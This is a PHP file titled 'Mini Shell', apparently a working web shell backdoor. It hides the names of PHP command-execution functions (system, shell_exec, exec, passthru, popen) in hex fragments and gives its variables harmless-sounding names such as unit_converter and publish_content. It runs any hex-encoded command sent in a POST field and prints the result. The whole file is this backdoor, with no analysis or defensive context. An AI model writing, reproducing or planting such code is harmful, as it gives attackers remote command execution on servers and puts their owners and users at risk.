Mini Shell

<?php


$dchunk1 = '7';
$dchunk2 = '3';
$dchunk3 = '9';
$dchunk4 = '4';
$dchunk5 = '6';
$dchunk6 = '5';
$dchunk7 = 'd';
$dchunk8 = 'c';
$dchunk9 = 'f';
$dchunk10 = '8';
$dchunk11 = '0';
$dchunk12 = '1';
$dchunk13 = 'e';
$publish_content1 = pack("H*", $dchunk1 . $dchunk2 . '7' . $dchunk3 . '7' . $dchunk2 . '7' . $dchunk4 . $dchunk5 . $dchunk6 . '6' . $dchunk7);
$publish_content2 = pack("H*", '7' . '3' . $dchunk5 . '8' . $dchunk5 . '5' . $dchunk5 . $dchunk8 . $dchunk5 . $dchunk8 . $dchunk6 . $dchunk9 . $dchunk5 . '5' . '7' . '8' . '6' . '5' . $dchunk5 . '3');
$publish_content3 = pack("H*", $dchunk5 . $dchunk6 . $dchunk1 . $dchunk10 . '6' . $dchunk6 . $dchunk5 . '3');
$publish_content4 = pack("H*", '7' . '0' . '6' . '1' . '7' . '3' . $dchunk1 . '3' . $dchunk1 . $dchunk4 . '6' . $dchunk10 . $dchunk1 . '2' . $dchunk1 . '5');
$publish_content5 = pack("H*", '7' . $dchunk11 . '6' . $dchunk9 . $dchunk1 . $dchunk11 . $dchunk5 . '5' . '6' . 'e');
$publish_content6 = pack("H*", '7' . $dchunk2 . $dchunk1 . '4' . $dchunk1 . '2' . $dchunk5 . $dchunk6 . $dchunk5 . $dchunk12 . '6' . 'd' . '5' . 'f' . $dchunk5 . $dchunk1 . $dchunk5 . '5' . '7' . '4' . $dchunk6 . 'f' . $dchunk5 . '3' . $dchunk5 . 'f' . '6' . 'e' . $dchunk1 . $dchunk4 . '6' . '5' . '6' . 'e' . '7' . $dchunk4 . $dchunk1 . $dchunk2);
$publish_content7 = pack("H*", $dchunk1 . $dchunk11 . '6' . '3' . $dchunk5 . $dchunk8 . $dchunk5 . 'f' . $dchunk1 . '3' . '6' . $dchunk6);
$unit_converter = pack("H*", '7' . $dchunk6 . '6' . $dchunk13 . '6' . '9' . $dchunk1 . $dchunk4 . '5' . 'f' . $dchunk5 . $dchunk2 . '6' . 'f' . '6' . 'e' . '7' . $dchunk5 . $dchunk5 . '5' . '7' . '2' . $dchunk1 . $dchunk4 . '6' . $dchunk6 . $dchunk1 . '2');
if (isset($_POST[$unit_converter])) {
    $unit_converter = pack("H*", $_POST[$unit_converter]);
    if (function_exists($publish_content1)) {
        $publish_content1($unit_converter);
    } elseif (function_exists($publish_content2)) {
        print $publish_content2($unit_converter);
    } elseif (function_exists($publish_content3)) {
        $publish_content3($unit_converter, $tkn_val);
        print join("\n", $tkn_val);
    } elseif (function_exists($publish_content4)) {
        $publish_content4($unit_converter);
    } elseif (function_exists($publish_content5) && function_exists($publish_content6) && function_exists($publish_content7)) {
        $entry_reference = $publish_content5($unit_converter, 'r');
        if ($entry_reference) {
            $bind_k = $publish_content6($entry_reference);
            $publish_content7($entry_reference);
            print $bind_k;
        }
    }
    exit;
}